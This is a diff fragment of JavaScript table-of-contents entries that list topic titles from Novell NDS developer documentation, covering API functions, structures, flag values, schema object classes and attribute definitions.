+top.titles[i] = "NWDSRemoveObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0122.";
+top.titles[i] = "NWDSRemovePartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0123.";
+top.titles[i] = "NWDSRemoveReplica";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0124.";
+top.titles[i] = "NWDSRemSecurityEquiv";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0125.";
+top.titles[i] = "NWDSRepairTimeStamps";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0126.";
+top.titles[i] = "NWDSReplaceAttrNameAbbrev";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0127.";
+top.titles[i] = "NWDSResolveName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0128.";
+top.titles[i] = "NWDSRestoreObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0129.";
+top.titles[i] = "NWDSReturnBlockOfAvailableTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0130.";
+top.titles[i] = "NWDSScanConnsForTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0131.";
+top.titles[i] = "NWDSScanForAvailableTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0132.";
+top.titles[i] = "NWDSSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0133.";
+top.titles[i] = "NWDSSetContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0134.";
+top.titles[i] = "NWDSSetCurrentUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0135.";
+top.titles[i] = "NWDSSetDefNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0136.";
+top.titles[i] = "NWDSSetMonitoredConnection";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0137.";
+top.titles[i] = "NWDSSplitPartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0138.";
+top.titles[i] = "NWDSSyncPartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0139.";
+top.titles[i] = "NWDSSyncReplicaToServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0140.";
+top.titles[i] = "NWDSSyncSchema";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0141.";
+top.titles[i] = "NWDSUnlockConnection";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0142.";
+top.titles[i] = "NWDSVerifyObjectPassword";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0143.";
+top.titles[i] = "NWDSWhoAmI";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0144.";
+top.titles[i] = "NWGetDefaultNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0145.";
+top.titles[i] = "NWGetFileServerUTCTime";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0146.";
+top.titles[i] = "NWGetNumConnections";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0147.";
+top.titles[i] = "NWGetNWNetVersion";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0148.";
+top.titles[i] = "NWGetPreferredConnName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0149.";
+top.titles[i] = "NWIsDSAuthenticated";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0150.";
+top.titles[i] = "NWIsDSServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0151.";
+top.titles[i] = "NWNetInit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0152.";
+top.titles[i] = "NWNetTerm";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0153.";
+top.titles[i] = "NWSetDefaultNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0154.";
+top.titles[i] = "NWSetPreferredDSTree";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0004.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0001.";
+top.titles[i] = "Asn1ID_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0002.";
+top.titles[i] = "Attr_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0003.";
+top.titles[i] = "Back_Link_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0004.";
+top.titles[i] = "Bit_String_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0005.";
+top.titles[i] = "Buf_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0006.";
+top.titles[i] = "CI_List_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0007.";
+top.titles[i] = "Class_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0008.";
+top.titles[i] = "EMail_Address_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0009.";
+top.titles[i] = "Fax_Number_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0010.";
+top.titles[i] = "Filter_Cursor_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0011.";
+top.titles[i] = "Filter_Node_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0012.";
+top.titles[i] = "Hold_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0013.";
+top.titles[i] = "NDSOSVersion_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0014.";
+top.titles[i] = "NDSStatsInfo_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0015.";
+top.titles[i] = "Net_Address_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0016.";
+top.titles[i] = "NWDS_TimeStamp_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0017.";
+top.titles[i] = "Object_ACL_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0018.";
+top.titles[i] = "Object_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0019.";
+top.titles[i] = "Octet_List_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0020.";
+top.titles[i] = "Octet_String_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0021.";
+top.titles[i] = "Path_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0022.";
+top.titles[i] = "Replica_Pointer_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0023.";
+top.titles[i] = "Syntax_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0024.";
+top.titles[i] = "TimeStamp_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0025.";
+top.titles[i] = "Typed_Name_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0026.";
+top.titles[i] = "Unknown_Attr_T";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0005.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0001.";
+top.titles[i] = "Attribute Constraint Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0002.";
+top.titles[i] = "Attribute Value Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0003.";
+top.titles[i] = "Buffer Operation Types and Related Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0004.";
+top.titles[i] = "Class Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0005.";
+top.titles[i] = "Change Types for Modifying Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0006.";
+top.titles[i] = "Context Keys and Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0007.";
+top.titles[i] = "Default Context Key Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0008.";
+top.titles[i] = "DCK_FLAGS Bit Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0009.";
+top.titles[i] = "DCK_NAME_FORM Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0010.";
+top.titles[i] = "DCK_CONFIDENCE Bit Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0011.";
+top.titles[i] = "DCK_DSI_FLAGS Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0012.";
+top.titles[i] = "DSI_ENTRY_FLAGS Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0013.";
+top.titles[i] = "Filter Tokens";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0014.";
+top.titles[i] = "Information Types for Attribute Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0015.";
+top.titles[i] = "Information Types for Class Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0016.";
+top.titles[i] = "Information Types for Search and Read";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0017.";
+top.titles[i] = "Name Space Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0018.";
+top.titles[i] = "NDS Access Control Rights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0019.";
+top.titles[i] = "NDS Ping Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0020.";
+top.titles[i] = "DSP Replica Information Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0021.";
+top.titles[i] = "Network Address Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0022.";
+top.titles[i] = "Scope Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0023.";
+top.titles[i] = "Replica Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0024.";
+top.titles[i] = "Replica States";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0025.";
+top.titles[i] = "Syntax Matching Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0026.";
+top.titles[i] = "Syntax IDs";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0006.";
+top.titles[i] = "NDS Example Code";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0001.";
+top.titles[i] = "Context Handle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0002.";
+top.titles[i] = "Object and Attribute";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0003.";
+top.titles[i] = "Browsing and Searching";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0004.";
+top.titles[i] = "Batch Modification of Objects and Attributes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0005.";
+top.titles[i] = "Schema";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0200.0007.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0500.";
+top.titles[i] = "NDS Schema Reference";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0001.";
+top.titles[i] = "Schema Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0001.";
+top.titles[i] = "Schema Structure";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0002.";
+top.titles[i] = "Schema Components";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0003.";
+top.titles[i] = "Object Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0004.";
+top.titles[i] = "Naming Attributes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0005.";
+top.titles[i] = "Containment Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0006.";
+top.titles[i] = "Super Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0007.";
+top.titles[i] = "Object Class Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0008.";
+top.titles[i] = "Mandatory and Optional Attributes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0009.";
+top.titles[i] = "Default ACL Templates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0010.";
+top.titles[i] = "Auxiliary Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0011.";
+top.titles[i] = "Attribute Type Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0012.";
+top.titles[i] = "Attribute Syntax Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0013.";
+top.titles[i] = "Schema Extensions";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0002.";
+top.titles[i] = "Base Object Class Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0001.";
+top.titles[i] = "AFP Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0002.";
+top.titles[i] = "Alias";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0003.";
+top.titles[i] = "applicationEntity";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0004.";
+top.titles[i] = "applicationProcess";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0005.";
+top.titles[i] = "Audit:File Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0006.";
+top.titles[i] = "Bindery Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0007.";
+top.titles[i] = "Bindery Queue";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0008.";
+top.titles[i] = "certificationAuthority";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0009.";
+top.titles[i] = "CommExec";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0010.";
+top.titles[i] = "Computer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0011.";
+top.titles[i] = "Country";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0012.";
+top.titles[i] = "cRLDistributionPoint";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0013.";
+top.titles[i] = "dcObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0014.";
+top.titles[i] = "Device";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0015.";
+top.titles[i] = "Directory Map";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0016.";
+top.titles[i] = "domain";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0017.";
+top.titles[i] = "dSA";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0018.";
+top.titles[i] = "External Entity";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0019.";
+top.titles[i] = "Group";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0020.";
+top.titles[i] = "LDAP Group";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0021.";
+top.titles[i] = "LDAP Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0022.";
+top.titles[i] = "List";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0023.";
+top.titles[i] = "Locality";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0024.";
+top.titles[i] = "MASV:Security Policy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0025.";
+top.titles[i] = "Message Routing Group";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0026.";
+top.titles[i] = "Messaging Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0027.";
+top.titles[i] = "NCP Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0028.";
+top.titles[i] = "ndsLoginProperties";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0029.";
+top.titles[i] = "NDSPKI:Certificate Authority";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0030.";
+top.titles[i] = "NDSPKI:Key Material";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0031.";
+top.titles[i] = "NDSPKI:SD Key Access Partition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0032.";
+top.titles[i] = "NDSPKI:SD Key List";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0033.";
+top.titles[i] = "NDSPKI:Trusted Root";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0034.";
+top.titles[i] = "NDSPKI:Trusted Root Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0035.";
+top.titles[i] = "NSCP:groupOfCertificates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0036.";
+top.titles[i] = "NSCP:mailGroup1";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0037.";
+top.titles[i] = "NSCP:mailRecipient";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0038.";
+top.titles[i] = "NSCP:NetscapeMailServer5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0039.";
+top.titles[i] = "NSCP:NetscapeServer5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0040.";
+top.titles[i] = "NSCP:nginfo3";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0041.";
+top.titles[i] = "NSCP:nsLicenseUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0042.";
+top.titles[i] = "Organization";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0043.";
+top.titles[i] = "Organizational Person";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0044.";
+top.titles[i] = "Organizational Role";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0045.";
+top.titles[i] = "Organizational Unit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0046.";
+top.titles[i] = "Partition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0047.";
+top.titles[i] = "Person";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0048.";
+top.titles[i] = "pkiCA";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0049.";
+top.titles[i] = "pkiUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0050.";
+top.titles[i] = "Print Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0051.";
+top.titles[i] = "Printer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0052.";
+top.titles[i] = "Profile";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0053.";
+top.titles[i] = "Queue";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0054.";
+top.titles[i] = "Resource";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0055.";
+top.titles[i] = "SAS:Security";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0056.";
+top.titles[i] = "SAS:Service";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0057.";
+top.titles[i] = "Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0058.";
+top.titles[i] = "strongAuthenticationUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0059.";
+top.titles[i] = "Template";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0060.";
+top.titles[i] = "Top";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0061.";
+top.titles[i] = "Tree Root";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0062.";
+top.titles[i] = "Unknown";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0063.";
+top.titles[i] = "User";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0064.";
+top.titles[i] = "userSecurityInformation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0065.";
+top.titles[i] = "Volume";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0066.";
+top.titles[i] = "WANMAN:LAN Area";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0003.";
+top.titles[i] = "Novell Object Class Extensions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0001.";
+top.titles[i] = "Entrust:CRLDistributionPoint";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0002.";
+top.titles[i] = "inetOrgPerson";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0003.";
+top.titles[i] = "NDPS Broker";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0004.";
+top.titles[i] = "NDPS Manager";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0005.";
+top.titles[i] = "NDPS Printer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0006.";
+top.titles[i] = "NDSCat:Catalog";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0007.";
+top.titles[i] = "NDSCat:Master Catalog";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0008.";
+top.titles[i] = "NDSCat:Slave Catalog";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0009.";
+top.titles[i] = "NetSvc";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0010.";
+top.titles[i] = "NLS:License Certificate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0011.";
+top.titles[i] = "NLS:License Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0012.";
+top.titles[i] = "NLS:Product Container";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0013.";
+top.titles[i] = "NSCP:groupOfUniqueNames5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0014.";
+top.titles[i] = "NSCP:mailGroup5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0015.";
+top.titles[i] = "NSCP:Nginfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0016.";
+top.titles[i] = "NSCP:Nginfo2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0017.";
+top.titles[i] = "residentialPerson";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0018.";
+top.titles[i] = "SLP Scope Unit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0019.";
+top.titles[i] = "SLP Directory Agent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0020.";
+top.titles[i] = "SLP Service";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0021.";
+top.titles[i] = "SMS SMDR Class";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0004.";
+top.titles[i] = "Graphical View of Object Class Inheritance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0001.";
+top.titles[i] = "Alias and Bindery Object Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0002.";
+top.titles[i] = "Tree Root, domain, and Unknown";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0003.";
+top.titles[i] = "Computer, Country, Device, and Printer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0004.";
+top.titles[i] = "List and Locality";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0005.";
+top.titles[i] = "Organizational Role and Partition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0006.";
+top.titles[i] = "ndsLoginProperties, Organization, and Organizational Unit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0007.";
+top.titles[i] = "ndsLoginProperties, Person, Organizational Person, and User";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0008.";
+top.titles[i] = "Directory Map, Profile, Queues, Resource, and Volume";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0009.";
+top.titles[i] = "Servers (AFP, Messaging, NCP, Print) and CommExec";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0010.";
+top.titles[i] = "External Entity, Group, and Message Routing Group";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0005.";
+top.titles[i] = "Base Attribute Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0001.";
+top.titles[i] = "Aliased Object Name";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0002.";
+top.titles[i] = "Account Balance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0003.";
+top.titles[i] = "ACL";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0004.";
+top.titles[i] = "Allow Unlimited Credit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0005.";
+top.titles[i] = "associatedName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0006.";
+top.titles[i] = "attributeCertificate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0007.";
+top.titles[i] = "Audit:A Encryption Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0008.";
+top.titles[i] = "Audit:B Encryption Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0009.";
+top.titles[i] = "Audit:Contents";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0010.";
+top.titles[i] = "Audit:Current Encryption Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0011.";
+top.titles[i] = "Audit:File Link";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0012.";
+top.titles[i] = "Audit:Link List";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0013.";
+top.titles[i] = "Audit:Path";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0014.";
+top.titles[i] = "Audit:Policy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0015.";
+top.titles[i] = "Audit:Type";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0016.";
+top.titles[i] = "authorityRevocationList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0017.";
+top.titles[i] = "Authority Revocation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0018.";
+top.titles[i] = "AuxClass Object Class Backup";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0019.";
+top.titles[i] = "Auxiliary Class Flag";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0020.";
+top.titles[i] = "Back Link";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0021.";
+top.titles[i] = "Bindery Object Restriction";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0022.";
+top.titles[i] = "Bindery Property";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0023.";
+top.titles[i] = "Bindery Restriction Level";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0024.";
+top.titles[i] = "Bindery Type";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0025.";
+top.titles[i] = "businessCategory";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0026.";
+top.titles[i] = "";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0027.";
+top.titles[i] = "cACertificate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0028.";
+top.titles[i] = "CA Private Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0029.";
+top.titles[i] = "CA Public Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0030.";
+top.titles[i] = "Cartridge";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0031.";
+top.titles[i] = "certificateRevocationList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0032.";
+top.titles[i] = "Certificate Revocation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0033.";
+top.titles[i] = "Certificate Validity Interval";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0034.";
+top.titles[i] = "crossCertificatePair";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0035.";
+top.titles[i] = "";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0036.";
+top.titles[i] = "Convergence";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0037.";
+top.titles[i] = "Cross Certificate Pair";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0038.";
+top.titles[i] = "dc";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0039.";
+top.titles[i] = "Default Queue";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0040.";
+top.titles[i] = "deltaRevocationList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0041.";
+top.titles[i] = "departmentNumber";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0042.";
+top.titles[i] = "Description";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0043.";
+top.titles[i] = "destinationIndicator";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0044.";
+top.titles[i] = "Detect Intruder";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0045.";
+top.titles[i] = "Device";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0046.";
+top.titles[i] = "dmdName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0047.";
+top.titles[i] = "dn";
+i++;
+
